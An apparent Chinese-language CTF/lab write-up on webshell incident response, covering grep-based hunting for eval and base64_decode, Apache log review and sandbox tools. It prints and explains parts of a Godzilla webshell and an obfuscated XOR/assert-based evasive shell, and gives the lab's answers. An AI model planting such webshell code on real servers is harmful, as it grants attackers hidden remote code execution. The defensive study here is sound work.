格林...

导言

作为一个Pwn手,在经历ccb下午渗透赛只能给队友提供情绪价值去看应急响应被内核马戏耍后,~~痛定思痛,~~决定学习一些应急响应,为队友提供一些绵薄之力

前置工具

仅需Xshell8

Webshell应急响应

概念

首先介绍Webshell是什么

WebShell 是攻击者上传到服务器的一种恶意脚本文件,可以像后门一样远程控制服务器,可以做到但不限于如下功能:

1
2
3
4
	查看/下载/上传文件
​ 执行命令
​ 修改数据库
​ 横向移动

​ 而其应急响应指的是在发现服务器或网站被植入WebShell(一种通过Web页面远程控制服务器的恶意脚本)后的快速处置和修复过程,其目的是尽快阻止攻击者的进一步操作、查明入侵路径、修复漏洞并恢复系统安全状态

查杀手段

特征值搜索

首先是确定文件类型,一般而言在Web中容易成为恶意脚本文件的文件后缀是jsp,php,asp,aspx,刚开始的时候可以从这种文件类型着手调查。

然后是查找特征值,常见后门函数是exec(),eval(),system(),assert(),base64_decode()等,如果能查到是最好,不能的话就只能从其它方面入手

日志搜寻

Webshell的执行时通常在web日志中留下痕迹**(不是系统日志),我们通常需要在海量的请求中寻找异常的操作。通常是看哪个请求平时是GET此时却是POST**,并且返回状态码200(成功执行)。那这个请求路径就很有可能是Webshell,但也不能完全确定,还是得输出看看文件内容是什么

1
2
3
4
状态码补充
403————被waf拦截
404————文件不存在
500————服务端异常

使用工具

相比于人工排查,使用工具的效率显然是更加高效,这里主要就推荐两个一个是D盾,一个是微步在线云沙箱

D盾的优势是界面简洁、清晰明了,最重要的是无需网络要求,是线下比赛的好帮手

屏幕截图 2025-04-14 135406

云沙箱胜在功能强大,唯一的缺点是没有钞能力就只能体验,免费版每日分析有限

屏幕截图 2025-04-14 140133

解题步骤

黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

在Xshell中通过把主机改成玄机靶场提供的IP,端口默认22,输入靶机的账号密码即可成功连接靶机

image-20250416130546493

在开始链接后,得先回到根目录,不然没有回显

image-20250416130613247

Linux根目录下各文件夹和文件的作用

目录 作用说明
/bin 存放基本用户命令,如 lscpmvbash 等,单用户模式下也可使用。
/boot 启动文件目录,包含内核(如 vmlinuz)、引导加载器(如 grub)相关文件。
/dev 设备文件目录,Linux 一切皆文件,包括磁盘(如 /dev/sda)、终端、USB 等。
/etc 系统配置文件目录,如网络配置、服务配置、用户账户配置等(如 /etc/passwd/etc/hosts)。
/home 普通用户的家目录,如 /home/user
/initrd.img/initrd.img.old 初始 RAM 磁盘镜像,启动时用于加载驱动和挂载根文件系统。*.old 是旧版本备份。
/lib 系统程序运行所需的基础共享库,如 libc、动态链接器等,供 /bin/sbin 使用。
/lib32 存放 32 位系统库,供兼容老旧 32 位程序使用。
/lib64 存放 64 位系统库,是现代系统的主流配置。
/libx32 用于 x32 ABI(在 64 位平台上运行的 32 位地址空间程序)的共享库(较少用)。
/lost+found ext 文件系统下修复错误时保存“孤儿文件”的地方(fsck 工具用)。
/media 可移动设备挂载点,如 USB、CD-ROM(由系统自动挂载)。
/mnt 临时挂载点,用于手动挂载设备,如临时挂载 ISO 或远程文件系统。
/opt 第三方应用程序安装目录(如 /opt/google/chrome)。
/proc 虚拟文件系统,内核和进程信息接口,如 /proc/cpuinfo/proc/1/
/root root 用户的主目录,区别于 /home/root
/run 用于存放系统启动后运行时的临时文件,如 PID 文件、Socket 等(挂载于 tmpfs)。
/sbin 系统管理员命令,如 iptablesrebootfsck 等,通常不供普通用户使用。
/srv 服务数据目录,Web、FTP 等服务可在此处放数据(如 /srv/www/)。
/sys 内核虚拟文件系统,暴露设备、驱动等结构,供用户空间与内核交互。
/tmp 临时文件目录,系统重启时可能会清空,用户和程序常用于临时写文件。
/usr 用户程序和共享资源目录,包括大部分程序和库,如 /usr/bin/usr/lib
/var 可变数据目录,如日志/var/log)、邮件、缓存、数据库数据等。

当然这么多文件夹一个个找是不现实的,我们得找到特定的文件,肯定需要需要借助Linux的指令取寻找特定的文件

find [路径] [行为模式] [表达式]

例如我们想查找php的危险函数,就用如下表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
find ./ -type f -name "*.php" | xargs grep "eval("
./ ====> 当前目录
-type ====> 指定想查找的类型
f ====> 普通文件:如txt,php,elf文件等
d ====> 目录:如/home
l ====> 符号链接:如usr/bin/python->python3
c ====> 字符设备文件:/dev/tty等
b ====> 块设备文件:/dev/sda(硬盘)
s ====> 套接字:通信的socket文件
p ====> 命名管道:管道通信中产生的特殊文件
-name ====> 按照文件名进行查找(区分大小写)
"*.php" ====> 所有以php结尾的文件
| ====> 管道符,把前一个命令的输出,作为后一个命令的输入
xargs ====> 将管道中的内容转换成命令行参数
grep ====> 在文件中按关键词或正则表达式查找匹配的行,并输出这些行
"eval(" ====> 输出"*.php"中包含有"eval("的文件路径

找其它类型文件的危险函数也同上

如果想查询免杀马是否采用了某种编码进行隐藏,可用如下指令

1
find ./ type f -name "*.php" | xargs grep "base64_decode" 

经过查找,发现确实有两个webshell,但是只有一个有flag

image-20250416134007392

屏幕截图 2025-04-16 134054

这一串字符就是flag

分析一下这个webshell做了什么吧

@session_start()启动了会话,@用于抑制任何可能的错误信息输出和警告

@set_time_limit(0)设置了时间无限,意味着该脚本可以无限时长存在

@error_reporting禁止错误输出,更加保险

1
2
3
4
5
6
7
8
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}

$K为密钥将$D进行数据加密,隐藏恶意输入的内容

$payloadName='payload'定义一个常量,表示存储恶意输入的会话的键名

$key='3c6e0b8a9c15224a'密钥

$data=file_get_contents("php://input")获取php://input流数据

1
2
if ($data!==false){
$data=encode($data,$key);

如果data是否成功读取了数据,成功就通过key进行加密

1
2
3
4
5
6
7
if (isset($_SESSION[$payloadName])){  
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);

首先检查会话中是否有payloadName,若存在就将payload再通过key加密,然后检测payload的加密数据中是否存在getBasicsInfo,若不存在,就再次加密,然后再执行payload中的字符串

@run($data)会尝试执行data中的命令,然后通过key加密再echo出,这样可以隐藏返回数据,使恶意代码不易被查看

1
2
3
4
5
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}

若是会话中不存在payloadName,则会直接检查流数据中是否存在getBasicsInfo,若存在,则会将加密后的data数据存储如会话中,便于再后续请求中继续利用该恶意代码

黑客使用的什么工具的shell github地址的md5 flag{md5}

将这些代码直接丢进安恒云沙箱里,这个可以检测出是什么类型的病毒,方便我们找flag

image-20250416154210061

屏幕截图 2025-04-16 140403

确定是哥斯拉木马,只需要找它的github项目地址就行,网上一搜有好些,最终找到如下

1
https://github.com/BeichenDream/Godzilla

再md5一下就好

黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

题目明说了是隐藏,所以无法直接ls查询到,寻找隐藏文件的指令如下

1
2
3
ls -al
-a 显示所有文件,包括以 . 开头的隐藏文件
-l 以长表格显示,包含权限、所有者、大小、修改时间等信息

不过其实我们在最开始的时候就找到了,就是**.Mysqli.php**文件,路径如下

屏幕截图 2025-04-09 201354

1
/var/www/html/include/Db/.Mysqli.php

黑客免杀马完整路径 md5 flag{md5}

既然是免杀马,那就说明我们无法通过特征值搜索直接得到,它肯定做了些混淆、拼接等操作,例如base加密,异或操作等,我们无法直接通过find来寻找它,这种情况下,我们一般能够采取的办法就是看日志,web日志

Linux存储日志的路径一般为/var/log,扩展名为log

Linux常见日志文件

文件名 作用说明
/var/log/syslog 系统日志(Debian/Ubuntu 常见)
/var/log/messages 系统日志(CentOS/RedHat 常见)
/var/log/auth.log 身份验证相关日志(如 SSH 登录)
/var/log/secure 类似于 auth.log,但在 RedHat 系常见
/var/log/kern.log 内核级日志
/var/log/dmesg 内核启动日志
/var/log/boot.log 开机启动日志
/var/log/httpd/access_log Apache HTTP 访问日志(CentOS)
/var/log/apache2/access.log Apache 日志(Debian)
/var/log/nginx/access.log Nginx 访问日志
/var/log/lastlog 用户登录记录(用 lastlog 命令查看)
/var/log/faillog 登录失败记录(用 faillog 查看)
/var/log/btmp 登录失败记录(需用 lastb 查看)
/var/log/wtmp 所有用户登录登出记录(用 last 命令查看)

Windows存储日志的路径一般为C:\Windows\System32\winevt\Logs\,扩展名为evtx

Windows常见日志文件

文件名 说明
System.evtx 系统日志
Application.evtx 应用程序运行日志
Security.evtx 安全日志(登录、权限等)
Setup.evtx 安装更新相关日志
Windows PowerShell.evtx PowerShell 使用日志
Microsoft-Windows-WMI-Activity.evtx WMI 活动日志

我们先查看/var/log里有什么

image-20250416191744990

已知我们是webshell,所以不在系统日志里找,得在web日志里,而我们又看到了apache2,就很可能在apache(最流行的 Web 服务器之一)里的日志里有免杀马的信息

我们直接看access.log,发现有几个可疑请求

image-20250416192415812

image-20250416192508676

image-20250416192523618

我们先看/data/tplcache/top.php

image-20250416192706225

看起来是个很正常的php代码,是一个管理系统,那我们看下一个/wap/top.php

image-20250416193056445

我们来解析这串代码

<?php是php代码的标准开头

$key = "password"定义了一个密钥

$fun = base64_decode($_GET['func'])请求fuc的资源并进行base64解码(ERsDHgEUC1hI),将解码内容赋值给fun。不过我很好奇为什么日志里是fuc才拥有这串字符串,可仍然能请求资源成功

1
2
3
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}

进行异或操作,算是将混淆的内容进行解密,解密内容是phpinfo()

$c = $a . $s . $_GET["func2"]定义一个c进行字符串拼接将a、s、func2的内容进行依次拼接,成为assert

$c($fun)等价于assert(phpinfo())

很明显,这个就是那个免杀马,为什么呢?我们得先了解assert()函数和phpinfo()函数

assert原本用于调试代码,接受一个表达式并判断是否为真,但自从某个版本之后,如果往assert()里输入字符串,那么assert()就会被当成是eval()执行,而eval()会把字符串当作是php代码,从而执行任意代码

phpinfo函数会输出完整的php环境信息,包括但不限于php版本,环境变量,http头,COOKIE等,很容易造成信息泄露

所以执行链如下

1
assert("phpinfo()")--->eval("phpinfo()")--->phpinfo()

直接造成信息泄露,从而更好植入别的木马

免杀马路径/var/www/html/wap/top.php